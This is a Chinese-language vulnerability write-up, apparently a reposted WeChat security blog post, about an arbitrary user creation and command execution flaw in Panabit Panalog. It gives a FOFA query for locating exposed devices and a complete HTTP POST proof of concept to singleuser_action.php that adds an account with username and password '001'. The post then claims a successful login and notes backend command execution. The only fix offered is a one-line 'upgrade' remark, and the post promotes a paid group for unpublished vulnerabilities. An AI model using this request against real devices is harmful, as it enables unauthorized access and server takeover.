导读
主要分享学习日常中的web渗透，内网渗透、漏洞复现、工具开发相关等。希望以技术共享、交流等不断赋能自己，为网络安全发展贡献自己的微薄之力！
Panabit panalog 任意用户创建漏洞和后台命令执行，攻击者可通过此漏洞获取账户密码登录后台，获取服务器权限。
1、fofa
app="Panabit-Panalog"
2、界面如下
3、隐患代码如下
4、构造POC如下
POST /singleuser_action.php HTTP/1.1Host: xxxxCookie: xxxxSec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92"Accept: */*X-Requested-With: XMLHttpRequestSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: xxxxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 574{ "syncInfo": { "user": { "userId": "001", "userName": "001", "employeeId": "001", "departmentId": "001", "departmentName": "001", "coporationId": "001", "corporationName": "001", "userSex": "1", "userDuty": "001", "userBirthday": "001", "userPost": "001", "userPostCode": "001", "userAlias": "001", "userRank": "001", "userPhone": "001", "userHomeAddress": "001", "userMobilePhone": "001", "userMailAddress": "001", "userMSN": "001", "userNt": "001", "userCA": "001", "userPwd": "001", "userClass": "001", "parentId": "001", "bxlx": "001" },"operationType": "ADD_USER" } }
5、利用新增的001用户成功登录界面如下
6、后台命令执行
1、升级到安全版本
因为很多未公开或者小范围公开的漏洞不能直接发公众号，所以后面部分漏洞会直接整理发表在知识大陆，目前进入需要9.9元。10月6日前扫描下面二维码加入群，10月7日统一免费拉入帮会。群聊如下：
京信通信系统中国有限公司CPE-WiFi存在任意用户添加&命令执行
原文始发于微信公众号（非攻安全实验室）：Panabit panalog 任意用户创建漏洞和后台命令执行
